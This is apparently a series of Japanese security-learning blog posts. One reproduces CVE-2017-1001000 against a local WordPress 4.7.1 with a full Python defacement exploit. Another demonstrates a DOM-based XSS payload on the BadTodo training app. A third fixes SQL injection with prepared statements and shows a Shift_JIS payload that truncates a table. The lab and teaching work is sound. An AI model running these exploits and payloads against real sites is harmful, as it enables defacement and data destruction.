Debian 10 (buster) PHP7.1 Xdebug2.9

Xdebugの設置でつまづいたため、とりあえず最小限で試してみる。
(別Ver. Debian 12 (bookworm) PHP8.2 Xdebug3.3 - demandosigno

Xdebug: Documentation » Supported Versions and Compatibility

docker-compose.yml

version: '3'

services:
    php:
        image: php:7.1-apache
        volumes:
            - ./html:/var/www/html
        ports:
            - 8001:80
        container_name: php7.1

docker-compose up -d

# cat /etc/os-release 
PRETTY_NAME="Debian GNU/Linux 10 (buster)"

# php -v
PHP 7.1.33 (cli) (built: Nov 22 2019 18:28:25) ( NTS )

# apt update && apt upgrade
# service apache2 status
[ ok ] apache2 is running.
# apt install vim
# vim phpinfo.php

# pecl install xdebug
WARNING: channel "pecl.php.net" has updated its protocols, use "pecl channel-update pecl.php.net" to update
pecl/xdebug **requires PHP (version >= 8.0.0, version <= 8.3.99), installed version is 7.1.33**
No valid packages found
install failed

# apt install php-xdebug
Package php-xdebug is not available, but is referred to by another package.
E: Package 'php-xdebug' has no installation candidate

Debian -- Package Search Results -- php-xdebug
php-xdebug パッケージ
buster (oldoldstable) (php): Xdebug Module for PHP
Debian -- Details of package php-xdebug in buster
以下のパッケージによって提供される仮想パッケージです: libapache2-mod-php7.3, libphp7.3-embed, php7.3-cgi, php7.3-cli, php7.3-fpm, php7.3-phpdbg
PHP7.3でないとダメそう。

再度PECLでバージョン付き

# pecl install xdebug-2.9.8
~(中略)~
Build complete.
Don't forget to run 'make test'.

running: make INSTALL_ROOT="/tmp/pear/temp/pear-build-defaultusergbmz49/install-xdebug-2.9.8" install
Installing shared extensions:     /tmp/pear/temp/pear-build-defaultusergbmz49/install-xdebug-2.9.8/usr/local/lib/php/extensions/no-debug-non-zts-20160303/

  +----------------------------------------------------------------------+
  |                                                                      |
  |   INSTALLATION INSTRUCTIONS                                          |
  |   =========================                                          |
  |                                                                      |
  |   See https://xdebug.org/install.php#configure-php for instructions  |
  |   on how to enable Xdebug for PHP.                                   |
  |                                                                      |
  |   Documentation is available online as well:                         |
  |   - A list of all settings:  https://xdebug.org/docs-settings.php    |
  |   - A list of all functions: https://xdebug.org/docs-functions.php   |
  |   - Profiling instructions:  https://xdebug.org/docs-profiling2.php  |
  |   - Remote debugging:        https://xdebug.org/docs-debugger.php    |
  |                                                                      |
  |                                                                      |
  |   NOTE: Please disregard the message                                 |
  |       You should add "extension=xdebug.so" to php.ini                |
  |   that is emitted by the PECL installer. This does not work for      |
  |   Xdebug.                                                            |
  |                                                                      |
  +----------------------------------------------------------------------+

~(中略)~
Build process completed successfully
Installing '/usr/local/lib/php/extensions/no-debug-non-zts-20160303/xdebug.so'
install ok: channel://pecl.php.net/xdebug-2.9.8
configuration option "php_ini" is not set to php.ini location
You should add "zend_extension=/usr/local/lib/php/extensions/no-debug-non-zts-20160303/xdebug.so" to php.ini

Xdebug: Documentation » Installation
"Warning: You should ignore any prompts to add "extension=xdebug.so" to php.ini — this will cause problems."
警告: php.iniに "extension=xdebug.so "を追加するよう促されても無視すべきです。

PHPの設定

1. コマンドラインで php --ini を実行し、変更すべきPHPのiniファイルを見つける。

# php --ini
Configuration File (php.ini) Path: /usr/local/etc/php
Loaded Configuration File:         (none)
Scan for additional .ini files in: /usr/local/etc/php/conf.d
Additional .ini files parsed:      (none)

もし、/etc/php/7.4/cli/conf.d/99-xdebug.ini のように xdebug を名前に含むファイルがあれば、このファイルを使用します。
このファイルが存在せず、conf.dや同様のディレクトリに他のファイルがある場合は、そこにも新しいファイルを作成できます。その場合、99-xdebug.iniと命名してください。
そうでない場合は、スクリプトまたはphp --iniコマンドで表示されるphp.iniファイルを修正してください。
php.iniファイルは1つだけではありません。多くのセットアップでは、コマンドライン用(多くの場合cli/php.ini)とウェブサーバー用(多くの場合fpm/php.ini)があります。

2. Add the following line to this PHP ini file:
zend_extension=xdebug

# cd /usr/local/etc/php/conf.d/
# vi 99-xdebug.ini
zend_extension=xdebug
[xdebug]
xdebug.remote_enable=1
;xdebug.remote_host = host.docker.internal // 自分の環境ではこれを記載するとVSCodeを立ち上げた時点でアプリに繋がらなくなった。この辺りの設定詳細がまだ理解できていません。
xdebug.remote_autostart=1
xdebug.remote_port=9003

3. Restart your webserver, or PHP-FPM, depending on what you are using.
しかし再起動後もphpinfoにxdebugが現れない。

# php -v
Failed loading /usr/local/lib/php/extensions/no-debug-non-zts-20160303/xdebug:  /usr/local/lib/php/extensions/no-debug-non-zts-20160303/xdebug: cannot open shared object file: No such file or directory
PHP 7.1.33 (cli) (built: Nov 22 2019 18:28:25) ( NTS )

今度はインストール時の
"You should add "zend_extension=/usr/local/lib/php/extensions/no-debug-non-zts-20160303/xdebug.so" to php.ini" に従ってみる。

# cd /usr/local/etc/php/
# vi php.ini
zend_extension=/usr/local/lib/php/extensions/no-debug-non-zts-20160303/xdebug.so

# php -v
PHP 7.1.33 (cli) (built: Nov 22 2019 18:28:25) ( NTS )
    with Xdebug v2.9.8, Copyright (c) 2002-2020, by Derick Rethans

代わりに 99-xdebug.ini から以下を削除
zend_extension=xdebug

再起動。動いた。

VSCode側の設定

VSCodeでLocalにインストールした拡張機能PHPdebugをクリックしてコンテナの方にもインストールする。

launch.jsonファイルを作成

VSCode launch.json

{
    "version": "0.2.0",
    "configurations": [
        {
            "name": "Listen for Xdebug",
            "type": "php",
            "request": "launch",
            "port": 9003,
            "pathMappings": {
                "${workspaceRoot}/html": "${workspaceRoot}/html"
            }
        }
    ]
}

デバッグ実行してからブラウザを開き、ブレークポイントで止まるか確認。問題なさそう。

スクリプトキディから始めるハッカー実践入門

次の動画(45:20~)で徳丸さんが行っていたハッカー入門をそのままやってみた。

  • WordPressの有名な脆弱性を題材として脆弱性について学ぶ
  • 「スクリプトキディ」は低級ハッカーの意味で使われるが、誰もがはじめから高度な攻撃手法を編み出すことはできないので既知の攻撃手法から学ぶことは有益
  • コピペすれば動くというものでもなく、スクリプトキディはそれほど簡単ではない
  • やってみれば色々身に付くよ
    というお話。

私はMacではなくWindows10で試しています。
youtu.be

NVD - CVE-2017-1001000
JVNDB-2017-002318 - JVN iPedia - 脆弱性対策情報データベース
WordPressにログインすることなく任意のコンテンツが改ざんできるという脆弱性。

WordPress 4.7.0 の導入の準備

WordPress Compatibility – Make WordPress Hosting

よって、PHP7.1、MariaDB10.1で試しました。

Xdebugは2.9.8を利用します。
Xdebug: Documentation » Supported Versions and Compatibility

最新Verはこちらで確認
GitHub - xdebug/xdebug at xdebug_2_9

フォルダ構成

/WordPress4.7
  ├── docker-compose.yml
  └── /php
     └── Dockerfile

Dockerfile

FROM php:7.1-apache
RUN a2enmod rewrite && \
    pecl install xdebug-2.9.8 && \
    docker-php-ext-enable xdebug && \
    docker-php-ext-install mysqli
# COPY xdebug.ini /usr/local/etc/php/conf.d/xdebug.ini
WORKDIR /var/www/html

xdebug.ini のコピーについては後で別途ダウンロードすることにし、ここではコメントアウトしました。

docker-compose.yml

version: "3"
services:
  php:
    build: php
    depends_on:
      - db
    ports:
      - "8000:80"
    volumes:
      - ./html:/var/www/html
  db:
    image: mariadb:10.1
    environment:
      MYSQL_ROOT_PASSWORD: root
      MYSQL_DATABASE: wordpress
      MYSQL_USER: wordpress
      MYSQL_PASSWORD: wordpress

volumes:
 db_data:

> docker-compose up -d
インストール完了後、各種確認。Xdebugもインストールされている。

# cat /etc/os-release
PRETTY_NAME="Debian GNU/Linux 10 (buster)"

# php -v
PHP 7.1.33 (cli) (built: Nov 22 2019 18:28:25) ( NTS )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.1.0, Copyright (c) 1998-2018 Zend Technologies
    with Xdebug v2.9.8, Copyright (c) 2002-2020, by Derick Rethans

# service apache2 status
[ ok ] apache2 is running.

phpinfoを作って確認してみる。

# apt update && apt upgrade
# apt install vim
# vi phpinfo.php
<?php phpinfo(); ?>

Xdebugの設定と実行テスト

# cd /usr/local/etc/php/conf.d
# curl -O https://raw.githubusercontent.com/xdebug/xdebug/xdebug_2_9/xdebug.ini
# vi xdebug.ini
以下を追記
[xdebug]
;xdebug.remote_host = host.docker.internal // この行を記載するとVSCodeを立ち上げるとうまく動かなくなったため一旦コメントアウトしています。
(コンテナ上での localhost はコンテナ自身を参照してしまうので「host.docker.internal」でコンテナからホスト上のサービスにアクセスすることができるのですが、このあたりきちんと理解できていません)  
xdebug.remote_enable=1
xdebug.remote_autostart=1
xdebug.remote_port=9003

コンテナ再起動後。phpinfo内にXdebugが表示されていることを確認。

VSCodeでLocalにインストールされている拡張機能PHPdebugをクリックしてコンテナの方にもインストールする。

launch.jsonファイルを作成

launch.json

{
    "version": "0.2.0",
    "configurations": [
        {
            "name": "Listen for Xdebug",
            "type": "php",
            "request": "launch",
            "port": 9003,
            "pathMappings": {
                "${workspaceRoot}/html": "${workspaceRoot}/html"
            }
        }
    ]
}

デバッグ実行してからブラウザを開き、ブレークポイントで止まるか確認。

WordPress 4.7のインストール

# pwd
/var/www/html
# curl -O https://ja.wordpress.org/wordpress-4.7.1-ja.tar.gz
# tar xf wordpress-4.7.1-ja.tar.gz
# ls -l
drwxr-xr-x 1 nobody nogroup    4096 Jan 12  2017 wordpress
# chown -R www-data:www-data wordpress
# ls -l
drwxr-xr-x 1 www-data www-data    4096 Jan 12  2017 wordpress
# rm wordpress-4.7.1-ja.tar.gz

http://localhost:8000/wordpress/ にアクセス。docker-compose.ymlに合わせて設定。インストール実行。

管理画面にログイン。テーマを変えてみたり、一件投稿してみたりする。

CVE-2017-1001000 の準備

エクスプロイトコード
WordPress 4.7.0 / 4.7.1 REST API Privilege Escalation ≈ Packet Storm

Pythonとモジュールのインストール

# apt install python3 python3-venv python3-pip
# python3 -V
Python 3.7.3

# pip3 install requests fake_useragent

CVE-2017-1001000.py を作成

#!/usr/bin/env python
'''
    WordPress 4.7.0-4.7.1 REST API Post privilege escalation / defacement exploit
'''
import requests
from fake_useragent import UserAgent
import argparse
import urllib.parse
import random
import string
proxies = {
    'http' : 'http://host.docker.internal:8080',
    'https' : 'http://host.docker.internal:8080'
}

def attack(target, postID, payload):
    ua = { 'user-agent': UserAgent().random }
    uwotm8 = ''.join([random.choice(string.ascii_letters) for n in range(8)])
    sploit_api = 'http://{}/index.php?rest_route=/wp/v2/posts/{}&id={}{}&content={}'.format(target, postID, postID, uwotm8, payload)
    attack = requests.post(sploit_api, data = {}, headers=ua, verify=False, proxies=proxies)
    if attack.status_code == 200:
        print('Payload sent to {} with 200 status'.format(target))
    else:
        print('Payload sent to {}, but we are not sure if the attack was successful as {} was the response'.format(target, attack.status_code))

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='WordPress 4.7.0-4.7.1 REST API Post privilege escalation / defacement exploit')
    parser.add_argument('--target', '-t', type=str, required=True, help='Post ID in which the payload will be applied')
    parser.add_argument('--postID', '-pid', type=str, required=True, help='Post ID in which the payload will be applied')
    parser.add_argument('--payload', '-p', type=str, required=True, help='What you would like to replace the post with')

    args = parser.parse_args()
    target = args.target
    postID = args.postID
    payload = urllib.parse.quote_plus(args.payload)
    attack(target, postID, payload)

VSCodeのコンテナにPython拡張機能をインストール。

launch.jsonにPython用の設定と送信パラメータを追記。

{
    "version": "0.2.0",
    "configurations": [
        {
            "name": "Python: 現在のファイル",
            "type": "python",
            "request": "launch",
            "program": "${file}",
            "console": "integratedTerminal",
            "justMyCode": true,
            "args": [
                "-t",
                "localhost:8000/wordpress",
                "-pid",
                "4", // これは1件投稿したため4となっていますが、追加投稿していない場合は1で。管理画面・投稿一覧の post 番号に合わせてください。
                "-p",
                "Hacked by demandosigno",
            ]
        },
        {
            "name": "Listen for Xdebug",
            "type": "php",
            "request": "launch",
            "port": 9003,
            "pathMappings": {
                "${workspaceRoot}/html": "${workspaceRoot}/html"
            }
        }
    ]
}

デバッガ実行 エラー
『Python 拡張機能のデバッガーでは、3.7 より小さい Python バージョンがサポートされなくなりました。』

『3.7 より小さい』であればインストールしてある Python 3.7.3で問題なさそうですが…。今回は拡張機能のバージョンを落とします。コンテナ―の方の(LOCALではない)拡張機能を右クリック→「別のバージョンをインストール」→ Python v2022.0.1786462952, Pylance 2022.7.40 を選択、インストール → 再読み込み。

再度デバッグ実行。問題なく動きブレークポイントで止まりました。

そのまま進めます。ステータスコード200で無事通ったようです。

最期まで実行後、ブラウザで確認。改ざんできていました。

Burpの方も確認

このPythonスクリプトをコマンドで打つ場合は次の通り。

# python3 CVE-2017-1001000.py --target localhost:8000/wordpress --postID 4 --payload "Hacked by demandosigno"

残りは動画通りで特に詰まるところはないと思います。

WordPressの中身を追いかける

リピーターで再送信。

権限のチェックに不備があります。

修正版のWordPress-4.7.2 も確認

# curl -O https://ja.wordpress.org/wordpress-4.7.2-ja.tar.gz
# mkdir wordpress-4.7.2 && tar xf wordpress-4.7.2-ja.tar.gz -C wordpress-4.7.2 --strip-components 1
# chown -R www-data:www-data wordpress-4.7.2
# mv wordpress wordpress-4.7.1
# mv wordpress-4.7.2 wordpress

wordpress-4.7.1 と同様に初期設定を行う。

次の画面が出たら先には進まずに、

ログインして確認すると、

Wordpress-4.7.2になっています。

再度エクスプロイト実行。今度は無事エラーになりました。

動画の後書きより。

  • 意外に難しい
  • 正常系ができないと異常系ができるわけがない
  • いっぱい手を動かして脆弱性の検証方法を身につけましょう

やられアプリ BadTodo - 4.8 DOM Based XSS

前回:やられアプリ BadTodo - 4.7 XSS 対策方法(エスケープ処理) - demandosigno

DOM Based XSSについて。

BadTodoのトップページhttps://todo.example.jp/todolist.phpですが、このURLの後ろに#とスクリプトを追記するとXSSが発動します。
https://todo.example.jp/todolist.php#%22]%3Cimg%20src=/%20onerror=alert(1)%3E

 

#(フラグメント識別子、またはハッシュ)

URLに付く#以下の部分に応じて表示内容を変化させるアプリケーションがあります。 ブラウザのデベロッパーツールにてコードを見てみるとlocation.hashでURLの#以降の値を取得しています。

#はページ内リンクに使われたりもしますが、この例では#の値に従ってチェックボックスにチェックを付ける動作をします。#2,4とするとid[]=2,4にチェックが付きます(id[]=3のTodoは非公開のため表示されていない)。

最初からチェックが付いているページを用意するなどの用途に使えます。

jQueryの機能の不適切な利用

 jQueryには、jQuery( )という関数があり、多くの場合 $( )という別名で使用されます。この$関数に様々な引数を与えることで多様な動作を簡潔に指定できます。この機能はjQueryのセレクタと呼ばれ多用されています。
$('input[name="foo"]'):input要素で name 属性が foo のものを取得。
 一方で、$関数(jQuery関数)は、下記のようにHTMLタグ文字列を指定すると、DOM要素を生成します。
$('<p>Hello</p>')
 このため、jQueryのセレクタとして要素を指定しているつもりでも、セレクタ指定文字列に外部からの入力が混ざっていると、攻撃者が新しい要素を生成できる場合があります。
「体系的に学ぶ 安全なWebアプリケーションの作り方 第2版 p.437」

今回のコード内で対応する部分が
$('input[name="id[]"][value="' + id + '"]').prop('checked', true);
です。prop()は要素の属性を取得・設定するメソッドです。開発ツールで行数部分をクリックすることでブレークポイントを作って動作を確認できます。
id部分に2が入っており、結果<input type="checkbox" name="id[]" value="2">にchecked属性を設定します。
このように、DOMを使用することでスクリプトからHTMLを操作することが可能になります。

さて、このとき#"]<img src=/ onerror=alert(1)>だったとするとこうなります。

セレクタは$('input[name="id[]"][value=""]<img src=/ onerror=alert(1)>"]').prop('checked', true);となり、新たなimg要素が作られ、onerrorイベントによりJavaScriptが実行されます。

対策

  • 最新のライブラリを用いる
  • $( ) や jQuery( )の引数は動的生成しない
  • 適切なDOM操作あるいは記号のエスケープ
  • eval、setTimeout、Functionコンストラクタなどの引数に、文字列形式で外部からの値を渡さない
    など

jQueryの新しいバージョンは入力がハッシュ#で始まる場合にセレクターにHTMLを挿入できないようにすることでこの脆弱性を修正しました。
Download jQuery | jQueryより最新の jQueryをダウンロードし読み込み先を修正します。

<script src="./js/jquery-1.8.3.js"></script> // BadTodoの現状
                           ↓
<script src="./js/jquery-X.X.X.js"></script> // 最新版を使う

そうするとシンタックスエラーとなりXSSは実行されません。

これでセレクタによるDOM Based XSSは防げますが予防としてアプリケーション側でも引数は動的生成しないことを推奨します。
例えば以下のようにfindメソッドを用いることで、動的にHTML要素を生成されることはなくなります。入力値のチェックも行っています。

} else {
  var a = checklist.split(',');
  a.map(function(id) {
    var id = parseInt(id);
    if (!isNaN(id)) {
      $('#contents').find('input[name="id[]"][value="' + id + '"]').prop('checked', true);
    };
  });
}

その他

URL上の半角スペースに%20ではなく参考書籍と同様に+を使った場合はうまくいきませんでした。書籍ではクエリー文字列の取り扱いに URI.min.js を使っているなど少し差異があるためかと思います。

反射型・格納型XSSはサーバ上でHTMLの生成が行われます。BadTodoの場合、サーバー上のPHP実行エンジンがファイルや入力値の内容を解釈して処理を行い、HTMLを作成してレスポンスとして返します。一方 JavaScriptによってクライアント上でHTMLを組み立てると攻撃用のコード部分がサーバにリクエストとして送信されません。脆弱性検査ツールではリクエスト内に含まれる文字列がレスポンス内に現れるか否かで探しているものが多いためこのタイプの脆弱性は発見できない場合があります。

BurpSuiteの組み込みブラウザには「Dom Invader」という機能があり、DOM Based XSSのチェックに使えるようです。まだ使い方を理解していません。

DOM Invader - PortSwigger

参考にしたサイト:
第6回 DOM-based XSS その1 | gihyo.jp
DOM Based XSSとは|図でわかる脆弱性の仕組み | ユービーセキュア
What is DOM-based XSS (cross-site scripting)? Tutorial & Examples | Web Security Academy
IPA - DOM Based XSSに関するレポート
location: hash プロパティ - Web API | MDN
【jQuery入門】prop(attr)の使い方と属性値の取得・設定まとめ! | 侍エンジニアブログ

次回:やられアプリ BadTodo - 4.9 XSS URL属性値に対して - demandosigno

やられアプリ BadTodo - 3.9 SQLインジェクション 対策方法

前回:やられアプリ BadTodo - 3.8 SQLインジェクション sqlmapを使ってみる - demandosigno

これまで検査方法についてIPAのサイトや徳丸本を参考にしてきましたが、対策方法についても同様です。
安全なウェブサイトの作り方 - 1.1 SQLインジェクション | 情報セキュリティ | IPA 独立行政法人 情報処理推進機構
安全なSQLの呼び出し方

特にBadTodoはもともと徳丸本の付属資料の一つですので、並行して読んだ方が絶対によいです。
体系的に学ぶ 安全なWebアプリケーションの作り方 第2版 | SBクリエイティブ

根本的解決

  • SQL文の組み立ては全てプレースホルダで実装する。
  • SQL文の組み立てを文字列連結により行う場合は、エスケープ処理等を行うデータベースエンジンのAPIを用いて、SQL文のリテラルを正しく構成する。
  • ウェブアプリケーションに渡されるパラメータにSQL文を直接指定しない。

SQL文の組み立ては全てプレースホルダで実装する

 SQLには通常、プレースホルダを用いてSQL文を組み立てる仕組みがあります。SQL文の雛形の中に変数の場所を示す記号(プレースホルダ)を置いて、後に、そこに実際の値を機械的な処理で割り当てるものです。ウェブアプリケーションで直接、文字列連結処理によってSQL文を組み立てる方法に比べて、プレースホルダでは、機械的な処理でSQL文が組み立てられるので、SQLインジェクションの脆弱性を解消できます。
 プレースホルダに実際の値を割り当てる処理をバインドと呼びます。バインドの方式には、プレースホルダのままSQL文をコンパイルしておき、データベースエンジン側で値を割り当てる方式(静的プレースホルダ)と、アプリケーション側のデータベース接続ライブラリ内で値をエスケープ処理してプレースホルダにはめ込む方式(動的プレースホルダ)があります。静的プレースホルダは、SQLのISO/JIS規格では、準備された文(Prepared Statement)と呼ばれます。
 どちらを用いてもSQLインジェクション脆弱性を解消できますが、原理的にSQLインジェクション脆弱性の可能性がなくなるという点で、静的プレースホルダの方が優ります。詳しくは本書別冊の「安全なSQLの呼び出し方」のプレースホルダの項(3.2節)を参照してください。
安全なウェブサイトの作り方 - 1.1 SQLインジェクション | 情報セキュリティ | IPA 独立行政法人 情報処理推進機構
IPA - 別冊:安全なSQLの呼び出し方

詳細は上記資料にお任せすることにして、ここではBadTodoに対して実際に修正してみた例を記載します。

ログイン画面(logindo.php の userid, pwd)に対して

元のコードが入力値を SQL文に直に放り込む形になっている所を、静的プレースホルダを使って書き換えます。
プレースホルダにはコロン:param?を使います。PHPは双方使えてBadTodoでも両方が使われていますが今回は?で試します。
PHP: プリペアドステートメントおよびストアドプロシージャ - Manual
PHP: PDO::prepare - Manual
また、プレースホルダにパラメータを割り当て(バインド)するのには bindParam()や bindValue()が使えますが、BadTodoでの他の箇所に合わせてexecute()に配列を渡す形にしました。
PHP: PDOStatement::bindParam - Manual
PHP: PDOStatement::bindValue - Manual
bindParam()とbindValue()とは #PHP - Qiita

注:「安全なSQLの呼び出し方」p.24に『execute メソッドでパラメータの値を与えることもできますが、その場合、パラメータはすべてvarchar 型とみなされ、SQL 実行時に文字列型から実際の型への「暗黙の型変換」が生じます。MySQLの場合、文字列型から数値型への変換時に浮動小数点数型を経由するため、精度が損なわれるなどの不具合の原因になります。このことから、MySQL では、bind_param メソッドで型を明示してバインドする方法を推奨します。』との記載がありました。

logindo.php コメントアウトしている部分を修正例に書き換えてください。

<?php
~(中略)~
  // $sql = "SELECT id, userid FROM users WHERE userid='$userid'";
  $sql = "SELECT id, userid FROM users WHERE userid=?";
  // $sth = $dbh->query($sql);
  $sth = $dbh->prepare($sql);  // プリペアドステートメント(静的プレースホルダ)でクエリを準備する
  $sth->execute(array($userid));  // プリペアドステートメントで値を取得して実行する
  $row = $sth->fetch(PDO::FETCH_ASSOC);
  $sth = null;
  if (!empty($row)) {
    // $sql = "SELECT id, userid, super FROM users WHERE userid='$userid' AND pwd='$pwd'";
    $sql = "SELECT id, userid, super FROM users WHERE userid=? AND pwd=?";
    // $sth = $dbh->query($sql);
    $sth = $dbh->prepare($sql);  // 準備する
    $sth->execute(array($userid, $pwd));  // 実行する

また common.phpの78行目からの部分にsetAttribute()を1行追記してください。
PHP: PDO::setAttribute - Manual

<?php
~(中略)~
function dblogin()
{
  $dbhost = isset($_ENV['REDIRECT_MYSQL_HOST']) ? $_ENV['REDIRECT_MYSQL_HOST'] : '127.0.0.1';
  $dbh = new PDO("mysql:host=$dbhost;dbname=todo", 'root', 'wasbook');
  $dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
  $dbh->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);  // 追記。falseで静的プレースホルダを使用する。デフォルト値はtrue
  $dbh->query("SET NAMES utf8");
  return $dbh;
}

確認

BadTodo - 3.1 SQLインジェクション 認証の回避で試した単純なシングルクォーテーション'の入力で確認してみます。

ログイン実行。SQLのエラーは表示されませんでした。

この時のクエリを確認してみると先にPrepareでひな型が作成され、Executeで入力値がはめ込まれていますが、'がバックスラッシュでエスケープされています。

Prepare  SELECT id, userid FROM users WHERE userid=?
Execute  SELECT id, userid FROM users WHERE userid='\''

(文字列に引用符'を含める方法は幾つかあり、シングルクォーテーションを重ねる''方法もあります)MySQL :: MySQL 8.0 リファレンスマニュアル :: 9.1.1 文字列リテラル

静的プレースホルダの場合、プリペアドステートメントを利用した時点でSQL構文が確定し後から構文が変化することがありません。割り当てられる変数は完全な数値定数もしくは文字列定数として扱われます。特殊文字はエスケープ処理されます。よってパラメータの値がリテラルの外にはみ出す現象が起きず、SQL インジェクションの脆弱性が生じません。

(一方、対策以前のクエリ(下記)ではそのまま入力されるため、2つ目の'で文字列リテラルが終了し、3つ目の'は文字列リテラルをはみ出した状態になり、SQL文として意味を持たないので構文エラーになります)

Query   SELECT id, userid FROM users WHERE userid='''

パスワードの方も確認

id=admin パスワード='OR'1で試します。(デフォルトではパスワード6桁までしか受け付けない仕様のため)
修正前のSQLインジェクションが可能な場合。

ログインできました。

クエリは次の通り。

Query   SELECT id, userid FROM users WHERE userid='admin'
Query   SELECT id, userid, super FROM users WHERE userid='admin' AND pwd=''OR'1'

修正後。ログインできません。

Prepare  SELECT id, userid FROM users WHERE userid=?
Execute  SELECT id, userid FROM users WHERE userid='admin'
Close stmt
Prepare  SELECT id, userid, super FROM users WHERE userid=? AND pwd=?
Execute  SELECT id, userid, super FROM users WHERE userid='admin' AND pwd='\'OR\'1'

補足。動的プレースホルダとShift_JISによるSQLインジェクション

先の修正で common.php に「静的プレースホルダを使うように」という指示を1行追加しました。 $dbh->setAttribute(PDO::ATTR_EMULATE_PREPARES, false); // 追記。falseで静的プレースホルダを使用する。デフォルト値はtrue

この記載がない場合はデフォルトの「動的プレースホルダ」が使用されます。

動的プレースホルダは準備された文(Prepared Statement)とは異なり、プレースホルダを利用するものの、パラメータのバインド処理をデータベースエンジン側で行うのではなく、アプリケーション側のライブラリ内で実行する方式です。 ~(中略)~
これを俗に、「クライアントサイドのプリペアドステートメント」と呼ぶことがありますが、JIS/ISO で規定された意味での「準備された文(Prepared Statement)」ではないので注意が必要です。
IPA - 別冊:安全なSQLの呼び出し方 p.11

パラメータのバインド処理をデータベースエンジン側で行うのではなくアプリケーション側で実行する場合、文字エンコードにShift_JISを使うとSQLの生成においてUnicodeからShift_JISへの変換が発生します。
(PHP/MySQL/Shift_JISの組み合わせだけではなく様々なパターンがありますのでIPAの資料を適宜参照してください)

ここでは上記資料「安全なSQLの呼び出し方 p.32」A.2. Shift_JISによるSQLインジェクションを試してみます。
まずブラウザChromiumに拡張機能を入れ、Webサイトのエンコーディングを変更できるようにしておいてください。=>https://chromewebstore.google.com/detail/charset/oenllhgkiiljibhfagbfogdbchhdchml?hl=ja&utm_source=ext_sidebar

そして common.php の$dbh->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);をコメントアウトして当初の状態に戻します。また文字セットにutf8ではなくsjisを指定します。

<?php
~(中略)~
function dblogin()
{
  $dbhost = isset($_ENV['REDIRECT_MYSQL_HOST']) ? $_ENV['REDIRECT_MYSQL_HOST'] : '127.0.0.1';
  $dbh = new PDO("mysql:host=$dbhost;dbname=todo", 'root', 'wasbook');
  $dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
  // $dbh->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
  // $dbh->query("SET NAMES utf8");
  $dbh->query("SET NAMES sjis");
  return $dbh;
}

先ほどと同じく、まずは単純なシングルクォーテーション'の入力。

SQL文のエラーは表示されませんでした。

この時のクエリを確認してみると静的プレースホルダの際と同様に'がバックスラッシュでエスケープされており問題ないように見えます。ただ Prepare Execute という記載がなくなり、動的プレースホルダになっているとみられます。

Query   SELECT id, userid FROM users WHERE userid='\''

次に、先ほど導入した拡張機能を使いブラウザの文字コードを「日本語(Shift_JIS)」に変更します。

PHPコード自体はUTF-8形式で保存されているため文字化けします。

ここでユーザIDに表'; TRUNCATE todos;--と入力しログインボタンをクリックするとテーブルが初期化されます

実行前
MariaDB [todo]> select * from todos;
+----+-------+--------------------------------+------------+------------+------+------+--------------+---------------+------+----------+--------+
| id | owner | todo                           | c_date     | due_date   | done | memo | org_filename | real_filename | url  | url_text | public |
+----+-------+--------------------------------+------------+------------+------+------+--------------+---------------+------+----------+--------+
|  1 |     1 | パソコンを買う                 | 2023-12-11 | 2023-12-12 |    0 | NULL | NULL         | NULL          | NULL | NULL     |      1 |
|  2 |     2 | 依頼の原稿を書く               | 2023-12-11 | 2023-12-18 |    0 | NULL | memo.txt     | memo.txt      | NULL | NULL     |      1 |
|  3 |     1 | 政府高官との会食アポ           | 2023-12-11 | 2023-12-14 |    0 | NULL | NULL         | NULL          | NULL | NULL     |      0 |
+----+-------+--------------------------------+------------+------------+------+------+--------------+---------------+------+----------+--------+
3 rows in set (0.000 sec)
 
実行後
MariaDB [todo]> select * from todos;
Empty set (0.001 sec)

この時のクエリ

Query   SET NAMES sjis
Query   SELECT id, userid FROM users WHERE userid='\\\'; TRUNCATE todos;-- '

なぜこうなるのかについて。
入力値の表'の部分の文字コードは次のようになります。

のShift_JISコードは0x955cですが下位 8bit の0x5cはUS-ASCII(UTF-8エンコード)ではバックスラッシュに該当します。この文字列に対し、文字エンコーディングを考慮せずにエスケープ処理を施した場合、0x5c がエスケープ対象と解釈されることがあります。
また先の例で見たように、MySQLではシングルクォーテーション(0x27)やバックスラッシュ(0x5c)は、その前にバックスラッシュ(0x5c)を付けることでエスケープされます。\\\'。よって以下のような並びとなります。

しかしこれをあらためて Shift_JIS として解釈するとこうなります。

これを元の SQL 文に与えると次の文になります。
SELECT id, userid FROM users WHERE userid='表\\'; TRUNCATE todos;--

本来後部の'をエスケープするための2番目の\が1番目の\との組み合わせ\\となってしまったため、後ろの'が有効となりセミコロン以降がリテラルの外にはみ出しSQL文として解釈されます。
このことから、文字エンコーディングに起因する SQL インジェクションの脆弱性が発生しやすい Shift_JIS の使用は避けてください。

(DockerTerminal上ではuserid='\\\'; とバックスラッシュ3本で表示されましたが、badtodo-dbの元のubuntuのlocaleにUTF-8しか入っていないので正しく表示できていないだけだと思われます)
(後ろが0x5cとなる文字は以外にも複数あります)

静的プレースホルダとShift_JISのパターンを試す

まずデータ初期化用スクリプトを実行し、テーブルを元に戻します。
(Windows(CMD) C:badtodo> .\scripts\init.bat) (Mac / Linux / WSL $ ./scripts/init.sh)
badtodo/docs/usage.md at main · ockeghem/badtodo · GitHub

common.phpにて文字コードはsjisのままsetAttribute(PDO::ATTR_EMULATE_PREPARES, false);とします。

<?php
~(中略)~
function dblogin()
{
  $dbhost = isset($_ENV['REDIRECT_MYSQL_HOST']) ? $_ENV['REDIRECT_MYSQL_HOST'] : '127.0.0.1';
  $dbh = new PDO("mysql:host=$dbhost;dbname=todo", 'root', 'wasbook');
  $dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
  $dbh->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
  // $dbh->query("SET NAMES utf8");
  $dbh->query("SET NAMES sjis");
  return $dbh;
}

そして表'; TRUNCATE todos;--でログイン。
今度は消えません。

MariaDB [todo]> select * from todos;
+----+-------+--------------------------------+------------+------------+------+------+--------------+---------------+------+----------+--------+
| id | owner | todo                           | c_date     | due_date   | done | memo | org_filename | real_filename | url  | url_text | public |
+----+-------+--------------------------------+------------+------------+------+------+--------------+---------------+------+----------+--------+
